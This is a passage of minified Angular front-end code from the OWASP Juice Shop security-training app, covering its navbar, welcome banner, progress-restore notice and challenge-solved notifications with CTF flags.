power_settings_new "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()}2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"TITLE_LOGOUT")," "))}function Cp(n,a){if(1&n&&(t.TgZ(0,"button",44)(1,"mat-icon"),t._uU(2," shopping_cart "),t.qZA(),t.TgZ(3,"span",20),t._uU(4),t.ALo(5,"translate"),t.qZA(),t.TgZ(6,"span",45),t._uU(7),t.qZA()()),2&n){const e=t.oxw();t.xp6(4),t.hij(" ",t.lcZ(5,2,"TITLE_BASKET"),""),t.xp6(3),t.Oqu(e.itemTotal)}}function vp(n,a){1&n&&t._UZ(0,"span"),2&n&&t.Tol("fi fi-"+a.$implicit)}function xp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-radio-button",46),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.changeLanguage(r.key))}),t.TgZ(1,"div",47),t.YNc(2,vp,1,2,"span",48),t._uU(3),t.qZA(),t._UZ(4,"i"),t.qZA()}if(2&n){const e=a.$implicit,o=t.oxw();t.s9C("checked",o.selectedLanguage===e),t.s9C("aria-label",e.lang),t.Q6J("value",e),t.xp6(2),t.Q6J("ngForOf",e.icons),t.xp6(1),t.hij(" ",null==e?null:e.lang," "),t.xp6(1),t.Tol("fas fa-thermometer-"+e.gauge+(e.percentage>70?" confirmation":" error"))}}function bp(n,a){1&n&&(t.TgZ(0,"button",49)(1,"mat-icon"),t._uU(2," my_location "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_SAVED_ADRESSES")," "))}function Tp(n,a){1&n&&(t.TgZ(0,"button",50)(1,"mat-icon"),t._uU(2," credit_card "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"MY_PAYMENT_OPTIONS")," "))}function Ap(n,a){1&n&&(t.TgZ(0,"button",51)(1,"mat-icon"),t._uU(2," account_balance_wallet "),t.qZA(),t.TgZ(3,"span"),t._uU(4),t.ALo(5,"translate"),t.qZA()()),2&n&&(t.xp6(4),t.hij(" ",t.lcZ(5,1,"DIGITAL_WALLET")," "))}const yp=function(){return["privacy-security/privacy-policy"]},Zp=function(){return["privacy-security/data-export"]},wp=function(){return["privacy-security/change-password"]},Sp=function(){return["privacy-security/two-factor-authentication"]},kp=function(){return["privacy-security/last-login-ip"]};O.vI.add(g.BCn,g.wn1,g.$Wj,g.jLD,g.Mzg,g.Yme,g.kWN,g.sqG,g.sq$,g.BC0,g.TZC,g.Mzo,g.m08,Z.zhw,D.lX,g.$cZ,g.fZP,g.whq,g.xJT,g.VN$);let Ip=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.administrationService=e,this.challengeService=o,this.configurationService=i,this.userService=r,this.ngZone=l,this.cookieService=m,this.router=v,this.translate=A,this.io=q,this.langService=Y,this.loginGuard=dt,this.snackBar=wt,this.basketService=St,this.userEmail="",this.languages=[],this.selectedLanguage="placeholder",this.version="",this.applicationName="OWASP Juice Shop",this.showGitHubLink=!0,this.logoSrc="assets/public/images/JuiceShop_Logo.png",this.scoreBoardVisible=!1,this.shortKeyLang="placeholder",this.itemTotal=0,this.sidenavToggle=new t.vpe,this.onToggleSidenav=()=>{this.sidenavToggle.emit()}}ngOnInit(){this.getLanguages(),this.basketService.getItemTotal().subscribe(e=>this.itemTotal=e),this.administrationService.getApplicationVersion().subscribe(e=>{e&&(this.version=`v${e}`)},e=>{console.log(e)}),this.configurationService.getApplicationConfiguration().subscribe(e=>{if(e?.application?.name&&(this.applicationName=e.application.name),e?.application&&(this.showGitHubLink=e.application.showGitHubLinks),e?.application?.logo){let o=e.application.logo;"http"===o.substring(0,4)&&(o=decodeURIComponent(o.substring(o.lastIndexOf("/")+1))),this.logoSrc="assets/public/images/"+o}},e=>{console.log(e)}),localStorage.getItem("token")?this.getUserDetails():this.userEmail="",this.userService.getLoggedInState().subscribe(e=>{e?this.getUserDetails():this.userEmail=""}),this.getScoreBoardStatus(),this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{"scoreBoardChallenge"===e.key&&(this.scoreBoardVisible=!0)})})}checkLanguage(){if(this.cookieService.get("language")){const e=this.cookieService.get("language");this.translate.use(e),this.selectedLanguage=this.languages.find(o=>o.key===e),this.shortKeyLang=this.languages.find(o=>o.key===e).shortKey}else this.changeLanguage("en"),this.selectedLanguage=this.languages.find(e=>"en"===e.key),this.shortKeyLang=this.languages.find(e=>"en"===e.key).shortKey}search(e){var o=this;if(e){const i={queryParams:{q:e}};this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/search"],i)}))}else this.ngZone.run((0,w.Z)(function*(){return yield o.router.navigate(["/search"])}))}getUserDetails(){this.userService.whoAmI().subscribe(e=>{this.userEmail=e.email},e=>{console.log(e)})}isLoggedIn(){return localStorage.getItem("token")}logout(){var e=this;this.userService.saveLastLoginIp().subscribe(o=>{this.noop()},o=>{console.log(o)}),localStorage.removeItem("token"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),sessionStorage.removeItem("itemTotal"),this.userService.isLoggedIn.next(!1),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/"])}))}changeLanguage(e){this.translate.use(e);const o=new Date;if(o.setFullYear(o.getFullYear()+1),this.cookieService.put("language",e,{expires:o}),this.languages.find(i=>i.key===e)){const i=this.languages.find(l=>l.key===e);this.shortKeyLang=i.shortKey,this.snackBar.open(`Language has been changed to ${i.lang}`,"Force page reload",{duration:5e3}).onAction().subscribe(()=>{location.reload()})}}getScoreBoardStatus(){this.challengeService.find({name:"Score Board"}).subscribe(e=>{this.ngZone.run(()=>{this.scoreBoardVisible=e[0].solved})},e=>{console.log(e)})}goToProfilePage(){window.location.replace(P.N.hostServer+"/profile")}goToDataErasurePage(){window.location.replace(P.N.hostServer+"/dataerasure")}noop(){}getLanguages(){this.langService.getLanguages().subscribe(e=>{this.languages=e,this.checkLanguage()})}isAccounting(){const e=this.loginGuard.tokenDecode();return e?.data&&"accounting"===e.data.role}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(he),t.Y36(ot),t.Y36(b.e),t.Y36(R),t.Y36(t.R0b),t.Y36(I.N_),t.Y36(U.F0),t.Y36(u.sK),t.Y36(st),t.Y36(pp),t.Y36(W),t.Y36(ut.ux),t.Y36(X))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-navbar"]],outputs:{sidenavToggle:"sidenavToggle"},decls:88,vars:43,consts:[["color","primary","fxLayout","column","xmlns","http://www.w3.org/1999/html",1,"mat-elevation-z6"],["fxLayout","row"],["mat-button","","aria-label","Open Sidenav","matTooltipPosition","below",2,"height","48px","width","48px",3,"matTooltip","click"],["mat-button","","routerLink","/search","aria-label","Back to homepage",1,"buttons",2,"height","60px"],[1,"logo",3,"src","alt"],["fxHide.lt-sm","","fxShow","",2,"font-size","x-large"],[1,"fill-remaining-space"],["id","searchQuery","aria-label","Click to search",3,"onEnter"],["searchControl",""],["mat-button","","fxHide.lt-md","","fxShow","","aria-label","Show/hide account menu","id","navbarAccount",1,"buttons",2,"vertical-align","middle","height","48px",3,"matMenuTriggerFor"],[1,"material-icons"],["userMenu","matMenu"],["mat-menu-item","","routerLink","/login","aria-label","Go to login page","id","navbarLoginButton",4,"ngIf"],["mat-menu-item","","aria-label","Go to user profile",3,"click",4,"ngIf"],["mat-menu-item","","routerLink","/accounting","aria-label","Go to accounting page",4,"ngIf"],["mat-menu-item","","aria-label","Show Orders and Payment Menu",3,"matMenuTriggerFor",4,"ngIf"],["mat-menu-item","","aria-label","Show Privacy and Security Menu",3,"matMenuTriggerFor",4,"ngIf"],["mat-menu-item","","aria-label","Logout","id","navbarLogoutButton",3,"click",4,"ngIf"],["mat-button","","routerLink","/basket","style","height:48px;","class","buttons","aria-label","Show the shopping cart",4,"ngIf"],["mat-button","","aria-label","Language selection menu","matTooltipPosition","below",1,"buttons",2,"height","48px","width","48px",3,"matMenuTriggerFor","matTooltip"],["fxHide.lt-md","","fxShow",""],[3,"overlapTrigger"],["menu","matMenu"],["class","mat-menu-item","style","width: 240px;",3,"value","checked","aria-label","click",4,"ngFor","ngForOf"],["privacySubMenu","matMenu"],["mat-menu-item","","aria-label","Go to privacy policy page",3,"routerLink"],["translate",""],["mat-menu-item","","aria-label","Go to data export page",3,"routerLink"],["mat-menu-item","","aria-label","Go to data subject page",3,"click"],["mat-menu-item","","aria-label","Go to change password page",3,"routerLink"],["mat-menu-item","","aria-label","Go to two factor authentication page",3,"routerLink"],["mat-menu-item","","aria-label","Go to last login ip page",3,"routerLink"],["ordersSubMenu","matMenu"],["mat-menu-item","","routerLink","/order-history","aria-label","Go to order history page"],["mat-menu-item","","routerLink","/recycle","aria-label","Go to recycling page"],["mat-menu-item","","routerLink","/address/saved","aria-label","Go to saved address page",4,"ngIf"],["mat-menu-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page",4,"ngIf"],["mat-menu-item","","routerLink","/wallet","aria-label","Go to wallet page",4,"ngIf"],["mat-menu-item","","routerLink","/login","aria-label","Go to login page","id","navbarLoginButton"],["mat-menu-item","","aria-label","Go to user profile",3,"click"],["mat-menu-item","","routerLink","/accounting","aria-label","Go to accounting page"],["mat-menu-item","","aria-label","Show Orders and Payment Menu",3,"matMenuTriggerFor"],["mat-menu-item","","aria-label","Show Privacy and Security Menu",3,"matMenuTriggerFor"],["mat-menu-item","","aria-label","Logout","id","navbarLogoutButton",3,"click"],["mat-button","","routerLink","/basket","aria-label","Show the shopping cart",1,"buttons",2,"height","48px"],[1,"fa-layers-counter","fa-layers-top-right","fa-3x","warn-notification",2,"font-size","47px"],[1,"mat-menu-item",2,"width","240px",3,"value","checked","aria-label","click"],[2,"display","inline-block","width","200px","margin-left","5px"],[3,"class",4,"ngFor","ngForOf"],["mat-menu-item","","routerLink","/address/saved","aria-label","Go to saved address page"],["mat-menu-item","","routerLink","/saved-payment-methods","aria-label","Go to saved payment methods page"],["mat-menu-item","","routerLink","/wallet","aria-label","Go to wallet page"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-toolbar",0)(1,"mat-toolbar-row",1)(2,"button",2),t.NdJ("click",function(){return o.onToggleSidenav()}),t.ALo(3,"translate"),t.TgZ(4,"mat-icon"),t._uU(5,"menu"),t.qZA()(),t.TgZ(6,"button",3),t._UZ(7,"img",4),t.TgZ(8,"span",5),t._uU(9),t.qZA()(),t._UZ(10,"span",6),t.TgZ(11,"mat-search-bar",7,8),t.NdJ("onEnter",function(){t.CHM(i);const l=t.MAs(12);return t.KtG(o.search(l.value))}),t.qZA(),t.TgZ(13,"button",9)(14,"i",10),t._uU(15," account_circle "),t.qZA(),t.TgZ(16,"span"),t._uU(17),t.ALo(18,"translate"),t.qZA()(),t.TgZ(19,"mat-menu",null,11),t.YNc(21,dp,6,3,"button",12),t.YNc(22,mp,5,1,"button",13),t.YNc(23,gp,6,3,"button",14),t.YNc(24,hp,6,4,"button",15),t.YNc(25,_p,6,4,"button",16),t.YNc(26,fp,6,3,"button",17),t.qZA(),t.YNc(27,Cp,8,4,"button",18),t.TgZ(28,"button",19),t.ALo(29,"translate"),t.TgZ(30,"mat-icon"),t._uU(31," language "),t.qZA(),t.TgZ(32,"span",20),t._uU(33),t.qZA()(),t.TgZ(34,"mat-menu",21,22),t.YNc(36,xp,5,7,"mat-radio-button",23),t.qZA(),t.TgZ(37,"mat-menu",null,24)(39,"button",25)(40,"mat-icon"),t._uU(41," assignment "),t.qZA(),t.TgZ(42,"span",26),t._uU(43,"TITLE_PRIVACY_POLICY"),t.qZA()(),t.TgZ(44,"button",27)(45,"mat-icon"),t._uU(46," get_app "),t.qZA(),t.TgZ(47,"span",26),t._uU(48,"TITLE_REQUEST_DATA_EXPORT"),t.qZA()(),t.TgZ(49,"button",28),t.NdJ("click",function(){return o.goToDataErasurePage()}),t.TgZ(50,"mat-icon"),t._uU(51," delete_forever "),t.qZA(),t.TgZ(52,"span",26),t._uU(53,"DATA_SUBJECT_TITLE"),t.qZA()(),t._UZ(54,"mat-divider"),t.TgZ(55,"button",29)(56,"mat-icon"),t._uU(57," edit "),t.qZA(),t.TgZ(58,"span",26),t._uU(59,"TITLE_CHANGE_PASSWORD"),t.qZA()(),t.TgZ(60,"button",30)(61,"mat-icon"),t._uU(62," exposure_plus_2 "),t.qZA(),t.TgZ(63,"span",26),t._uU(64,"TITLE_TWO_FACTOR_AUTH_CONFIG"),t.qZA()(),t.TgZ(65,"button",31)(66,"mat-icon"),t._uU(67," place "),t.qZA(),t.TgZ(68,"span",26),t._uU(69,"LAST_LOGIN_IP"),t.qZA()()(),t.TgZ(70,"mat-menu",null,32)(72,"button",33)(73,"mat-icon"),t._uU(74," archive "),t.qZA(),t.TgZ(75,"span"),t._uU(76),t.ALo(77,"translate"),t.qZA()(),t.TgZ(78,"button",34)(79,"mat-icon"),t._uU(80," autorenew "),t.qZA(),t.TgZ(81,"span"),t._uU(82),t.ALo(83,"translate"),t.qZA()(),t._UZ(84,"mat-divider"),t.YNc(85,bp,6,3,"button",35),t.YNc(86,Tp,6,3,"button",36),t.YNc(87,Ap,6,3,"button",37),t.qZA()()()}if(2&e){const i=t.MAs(20),r=t.MAs(35);t.xp6(2),t.s9C("matTooltip",t.lcZ(3,28,"SIDENAV_HINT")),t.xp6(5),t.s9C("alt",o.applicationName),t.Q6J("src",o.logoSrc,t.LSH),t.xp6(2),t.hij(" ",o.applicationName," "),t.xp6(4),t.Q6J("matMenuTriggerFor",i),t.xp6(4),t.hij(" ",t.lcZ(18,30,"ACCOUNT")," "),t.xp6(4),t.Q6J("ngIf",!o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()&&o.isAccounting()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.s9C("matTooltip",t.lcZ(29,32,"LANGUAGE_SEL_HINT")),t.Q6J("matMenuTriggerFor",r),t.xp6(5),t.hij(" ",o.shortKeyLang," "),t.xp6(1),t.Q6J("overlapTrigger",!0),t.xp6(2),t.Q6J("ngForOf",o.languages),t.xp6(3),t.Q6J("routerLink",t.DdM(38,yp)),t.xp6(5),t.Q6J("routerLink",t.DdM(39,Zp)),t.xp6(11),t.Q6J("routerLink",t.DdM(40,wp)),t.xp6(5),t.Q6J("routerLink",t.DdM(41,Sp)),t.xp6(5),t.Q6J("routerLink",t.DdM(42,kp)),t.xp6(11),t.hij(" ",t.lcZ(77,34,"LABEL_ORDER_HISTORY")," "),t.xp6(6),t.hij(" ",t.lcZ(83,36,"NAV_RECYCLE")," "),t.xp6(3),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn()),t.xp6(1),t.Q6J("ngIf",o.isLoggedIn())}},dependencies:[h.sg,h.O5,U.rH,u.Pi,p.xw,$.b8,yt.Ye,yt.rD,F.Hw,x.lW,z.d,Q.gM,Ft.VK,Ft.OP,Ft.p6,en.w5,nt.U0,u.X$],styles:["mat-toolbar[_ngcontent-%COMP%]{height:auto;min-width:100%;padding-bottom:5px;width:100%}.mat-button[_ngcontent-%COMP%]{padding-left:8px;padding-right:8px}.logo[_ngcontent-%COMP%]{max-height:60px;width:auto}.avatar[_ngcontent-%COMP%]{background-repeat:no-repeat no-repeat;border-radius:50%;display:inline-block;max-height:35px;max-width:35px;padding:0;pointer-events:none}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}.language-select[_ngcontent-%COMP%]{margin-left:10px;width:11%} .mat-select-value-text{font-size:15px}.user-info[_ngcontent-%COMP%]{margin-left:10px;margin-right:10px}.fi[_ngcontent-%COMP%]{margin-right:2px}[_nghost-%COMP%] mat-form-field{background:transparent!important}[_nghost-%COMP%] mat-icon{background:transparent!important}mat-search-bar[_ngcontent-%COMP%]{font-size:13px;margin-right:14px}.buttons[_ngcontent-%COMP%]{width:auto}@media screen and (max-width: 959px){.buttons[_ngcontent-%COMP%]{width:48px}}[_nghost-%COMP%] .mat-form-field-infix{max-width:250px!important;width:14vw!important}"]}),n})();function Op(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",4),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.startHackingInstructor())}),t.ALo(1,"translate"),t.TgZ(2,"mat-icon"),t._uU(3," school "),t.qZA(),t.TgZ(4,"span",5),t._uU(5,"BTN_GETTING_STARTED"),t.qZA()()}2&n&&t.Q6J("matTooltip",t.lcZ(1,1,"SCORE_BOARD_HACKING_INSTRUCTOR"))}function Up(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",6),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.closeWelcome())}),t.TgZ(1,"mat-icon"),t._uU(2," visibility_off "),t.qZA(),t.TgZ(3,"span",7),t._uU(4,"BTN_DISMISS"),t.qZA()()}}let Lp=(()=>{class n{constructor(e,o,i){this.dialogRef=e,this.configurationService=o,this.cookieService=i,this.title="Welcome to OWASP Juice Shop",this.message="<p>Being a web application with a vast number of intended security vulnerabilities, the <strong>OWASP Juice Shop</strong> is supposed to be the opposite of a best practice or template application for web developers: It is an awareness, training, demonstration and exercise tool for security risks in modern web applications. The <strong>OWASP Juice Shop</strong> is an open-source project hosted by the non-profit <a href=\'https://owasp.org\' target=\'_blank\'>Open Web Application Security Project (OWASP)</a> and is developed and maintained by volunteers. Check out the link below for more information and documentation on the project.</p><h1><a href=\'https://owasp-juice.shop\' target=\'_blank\'>https://owasp-juice.shop</a></h1>",this.showHackingInstructor=!0,this.showDismissBtn=!0,this.welcomeBannerStatusCookieKey="welcomebanner_status"}ngOnInit(){this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.application?.welcomeBanner&&(this.title=e.application.welcomeBanner.title,this.message=e.application.welcomeBanner.message),this.showHackingInstructor=e?.hackingInstructor?.isEnabled,this.showHackingInstructor&&e?.challenges?.restrictToTutorialsFirst&&(this.dialogRef.disableClose=!0,this.showDismissBtn=!1)},e=>{console.log(e)})}startHackingInstructor(){this.closeWelcome(),console.log(\'Starting instructions for challenge "Score Board"\'),Promise.resolve().then(c.bind(c,1096)).then(e=>{e.startHackingInstructorFor("Score Board")})}closeWelcome(){this.dialogRef.close();const e=new Date;e.setFullYear(e.getFullYear()+1),this.cookieService.put(this.welcomeBannerStatusCookieKey,"dismiss",{expires:e})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.so),t.Y36(b.e),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-welcome-banner"]],decls:8,vars:4,consts:[[1,"mat-typography"],[1,"text-justify",3,"innerHtml"],["mat-raised-button","","color","warn","matTooltipPosition","above",3,"matTooltip","click",4,"ngIf"],["mat-raised-button","","class","close-dialog","color","primary","aria-label","Close Welcome Banner",3,"click",4,"ngIf"],["mat-raised-button","","color","warn","matTooltipPosition","above",3,"matTooltip","click"],["fxShow","","fxHide.lt-lg","","translate",""],["mat-raised-button","","color","primary","aria-label","Close Welcome Banner",1,"close-dialog",3,"click"],["fxShow","","fxHide.lt-sm","","translate",""]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"h1")(2,"span"),t._uU(3),t.qZA()(),t._UZ(4,"div",1),t.TgZ(5,"div"),t.YNc(6,Op,6,3,"button",2),t.YNc(7,Up,5,0,"button",3),t.qZA()()),2&e&&(t.xp6(3),t.Oqu(o.title),t.xp6(1),t.Q6J("innerHtml",o.message,t.oJD),t.xp6(2),t.Q6J("ngIf",o.showHackingInstructor),t.xp6(1),t.Q6J("ngIf",o.showDismissBtn))},dependencies:[h.O5,u.Pi,$.b8,F.Hw,x.lW,Q.gM,u.X$],styles:[".text-justify[_ngcontent-%COMP%]{text-align:justify;text-justify:inter-word}[_nghost-%COMP%] h1 a{font-size:20px}[_nghost-%COMP%] strong{font-style:italic}"]}),n})(),Pp=(()=>{class n{constructor(e,o,i){this.dialog=e,this.configurationService=o,this.cookieService=i,this.welcomeBannerStatusCookieKey="welcomebanner_status"}ngOnInit(){"dismiss"!==this.cookieService.get(this.welcomeBannerStatusCookieKey)&&this.configurationService.getApplicationConfiguration().subscribe(o=>{o?.application?.welcomeBanner&&!o.application.welcomeBanner.showOnFirstStart||this.dialog.open(Lp,{minWidth:"320px",width:"35%",position:{top:"50px"}})},o=>{console.log(o)})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(b.e),t.Y36(I.N_))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-welcome"]],decls:1,vars:0,template:function(e,o){1&e&&t._UZ(0,"div")},styles:[".welcome-style[_ngcontent-%COMP%] .mat-dialog-container[_ngcontent-%COMP%]{margin-left:auto;margin-right:auto;max-width:50%;min-width:320px}"]}),n})();function Np(n,a){1&n&&(t.TgZ(0,"span",2),t._uU(1,"RESTART_REQUIRED"),t.qZA())}function Ep(n,a){1&n&&(t.TgZ(0,"span",2),t._uU(1,"RESET_HACKING_PROGRESS"),t.qZA())}function Mp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-card",1),t._UZ(1,"mat-card-header"),t.TgZ(2,"mat-card-content")(3,"span",2),t._uU(4,"NOTIFICATION_SERVER_STARTED"),t.qZA(),t._uU(5),t.TgZ(6,"button",3),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.closeNotification())}),t._uU(7,"X"),t.qZA(),t.TgZ(8,"button",4),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.clearProgress())}),t.TgZ(9,"mat-icon"),t._uU(10," delete_forever "),t.qZA(),t.YNc(11,Np,2,0,"span",5),t.YNc(12,Ep,2,0,"span",5),t.qZA()()()}if(2&n){const e=t.oxw();t.xp6(5),t.hij(": ",e.hackingProgress.autoRestoreMessage,"\\xa0"),t.xp6(3),t.Q6J("disabled",e.hackingProgress.cleared),t.xp6(3),t.Q6J("ngIf",e.hackingProgress.cleared),t.xp6(1),t.Q6J("ngIf",!e.hackingProgress.cleared)}}let Dp=(()=>{class n{constructor(e,o,i,r,l,m){this.ngZone=e,this.challengeService=o,this.translate=i,this.cookieService=r,this.ref=l,this.io=m,this.hackingProgress={}}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.io.socket().on("server started",()=>{const e=this.cookieService.get("continueCode"),o=this.cookieService.get("continueCodeFindIt"),i=this.cookieService.get("continueCodeFixIt");e&&this.challengeService.restoreProgress(encodeURIComponent(e)).subscribe(()=>{this.translate.get("AUTO_RESTORED_PROGRESS").subscribe(r=>{this.hackingProgress.autoRestoreMessage=r},r=>{this.hackingProgress.autoRestoreMessage=r})},r=>{console.log(r),this.translate.get("AUTO_RESTORE_PROGRESS_FAILED",{error:r}).subscribe(l=>{this.hackingProgress.autoRestoreMessage=l},l=>{this.hackingProgress.autoRestoreMessage=l})}),o&&this.challengeService.restoreProgressFindIt(encodeURIComponent(o)).subscribe(()=>{},r=>{console.log(r)}),i&&this.challengeService.restoreProgressFixIt(encodeURIComponent(i)).subscribe(()=>{},r=>{console.log(r)}),this.ref.detectChanges()})})}closeNotification(){this.hackingProgress.autoRestoreMessage=null}clearProgress(){this.cookieService.remove("continueCode"),this.cookieService.remove("continueCodeFixIt"),this.cookieService.remove("continueCodeFindIt"),this.cookieService.remove("token"),sessionStorage.removeItem("bid"),sessionStorage.removeItem("itemTotal"),localStorage.removeItem("token"),localStorage.removeItem("displayedDifficulties"),localStorage.removeItem("showSolvedChallenges"),localStorage.removeItem("showDisabledChallenges"),localStorage.removeItem("showOnlyTutorialChallenges"),localStorage.removeItem("displayedChallengeCategories"),this.hackingProgress.cleared=!0}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(t.R0b),t.Y36(ot),t.Y36(u.sK),t.Y36(I.N_),t.Y36(t.sBO),t.Y36(st))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-server-started-notification"]],decls:1,vars:1,consts:[["class","container primary-notification mat-elevation-z4",4,"ngIf"],[1,"container","primary-notification","mat-elevation-z4"],["translate",""],["id","closeButton","mat-button","",3,"click"],["mat-stroked-button","",3,"disabled","click"],["translate","",4,"ngIf"]],template:function(e,o){1&e&&t.YNc(0,Mp,13,4,"mat-card",0),2&e&&t.Q6J("ngIf",o.hackingProgress.autoRestoreMessage)},dependencies:[h.O5,u.Pi,F.Hw,x.lW,T.a8,T.dk,T.dn],styles:[".container[_ngcontent-%COMP%]{font-size:14px;margin:40px}#closeButton[_ngcontent-%COMP%]{float:right}"]}),n})(),qp=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer}getCountryMapping(){return this.http.get(this.hostServer+"/rest/country-mapping").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Fp(n,a){if(1&n&&(t._UZ(0,"span"),t.ALo(1,"lowercase")),2&n){const e=t.oxw(2).$implicit;t.Gre("fi fi-",t.lcZ(1,3,e.country.code),"")}}function Bp(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1,"my_location"),t.qZA())}function Rp(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.qZA()),2&n){const e=t.oxw(2).$implicit;t.xp6(1),t.hij(" ",e.country.name," ")}}function Yp(n,a){if(1&n&&(t.TgZ(0,"span",5),t.YNc(1,Fp,2,5,"span",8),t.YNc(2,Bp,2,0,"mat-icon",9),t._uU(3,"\\xa0 "),t.YNc(4,Rp,2,1,"span",9),t.qZA()),2&n){const e=t.oxw(2);t.xp6(1),t.Q6J("ngIf","flag"===e.showCtfCountryDetailsInNotifications||"both"===e.showCtfCountryDetailsInNotifications),t.xp6(1),t.Q6J("ngIf","name"===e.showCtfCountryDetailsInNotifications),t.xp6(2),t.Q6J("ngIf","name"===e.showCtfCountryDetailsInNotifications||"both"===e.showCtfCountryDetailsInNotifications)}}function Jp(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-card",2)(1,"div"),t._uU(2),t.TgZ(3,"button",3),t.NdJ("click",function(i){const l=t.CHM(e).index,m=t.oxw();return t.KtG(m.closeNotification(l,i.shiftKey))}),t._uU(4,"X"),t.qZA()(),t._UZ(5,"br"),t.TgZ(6,"div",4)(7,"span",5)(8,"mat-icon"),t._uU(9,"outlined_flag"),t.qZA(),t._uU(10),t.qZA(),t._uU(11,"\\xa0 "),t.TgZ(12,"button",6),t.NdJ("cbOnSuccess",function(){const r=t.CHM(e).$implicit;return t.KtG(r.copied=!0)}),t.TgZ(13,"mat-icon"),t._uU(14,"content_copy"),t.qZA(),t.TgZ(15,"span",4),t._uU(16),t.ALo(17,"translate"),t.qZA(),t.TgZ(18,"span",4),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t._UZ(21,"br"),t.YNc(22,Yp,5,3,"span",7),t.qZA()()}if(2&n){const e=a.$implicit,o=t.oxw();t.xp6(2),t.Oqu(e.message),t.xp6(4),t.Q6J("hidden",!o.showCtfFlagsInNotifications),t.xp6(4),t.hij(" ",e.flag,""),t.xp6(2),t.Q6J("cbContent",e.flag)("disabled",e.copied),t.xp6(3),t.Q6J("hidden",!e.copied),t.xp6(1),t.Oqu(t.lcZ(17,10,"COPY_SUCCESS")),t.xp6(2),t.Q6J("hidden",e.copied),t.xp6(1),t.Oqu(t.lcZ(20,12,"COPY_TO_CLIPBOARD")),t.xp6(3),t.Q6J("ngIf","none"!==o.showCtfCountryDetailsInNotifications)}}let Qp=(()=>{class n{constructor(e,o,i,r,l,m,v,A){this.ngZone=e,this.configurationService=o,this.challengeService=i,this.countryMappingService=r,this.translate=l,this.cookieService=m,this.ref=v,this.io=A,this.notifications=[],this.showCtfFlagsInNotifications=!1,this.showCtfCountryDetailsInNotifications="none"}ngOnInit(){this.ngZone.runOutsideAngular(()=>{this.io.socket().on("challenge solved",e=>{e?.challenge&&(e.hidden||this.showNotification(e),e.isRestore||(this.saveProgress(),e.hidden||c.e(103).then(c.bind(c,8103)).then(o=>{o.shootConfetti()})),this.io.socket().emit("notification received",e.flag))})}),this.configurationService.getApplicationConfiguration().subscribe(e=>{e?.ctf&&(this.showCtfFlagsInNotifications=!!e.ctf.showFlagsInNotifications&&e.ctf.showFlagsInNotifications,e.ctf.showCountryDetailsInNotifications?(this.showCtfCountryDetailsInNotifications=e.ctf.showCountryDetailsInNotifications,"none"!==e.ctf.showCountryDetailsInNotifications&&this.countryMappingService.getCountryMapping().subscribe(o=>{this.countryMap=o},o=>{console.log(o)})):this.showCtfCountryDetailsInNotifications="none")})}closeNotification(e,o=!1){o?(this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifyCloseNotificationsChallenge",this.notifications)}),this.notifications=[]):this.notifications.splice(e,1),this.ref.detectChanges()}showNotification(e){this.translate.get("CHALLENGE_SOLVED",{challenge:e.challenge}).toPromise().then(o=>o,o=>o).then(o=>{let i;this.showCtfCountryDetailsInNotifications&&"none"!==this.showCtfCountryDetailsInNotifications&&(i=this.countryMap[e.key]),this.notifications.push({message:o,flag:e.flag,country:i,copied:!1}),this.ref.detectChanges()})}saveProgress(){this.challengeService.continueCode().subscribe(e=>{if(!e)throw new Error("Received invalid continue code from the server!");const o=new 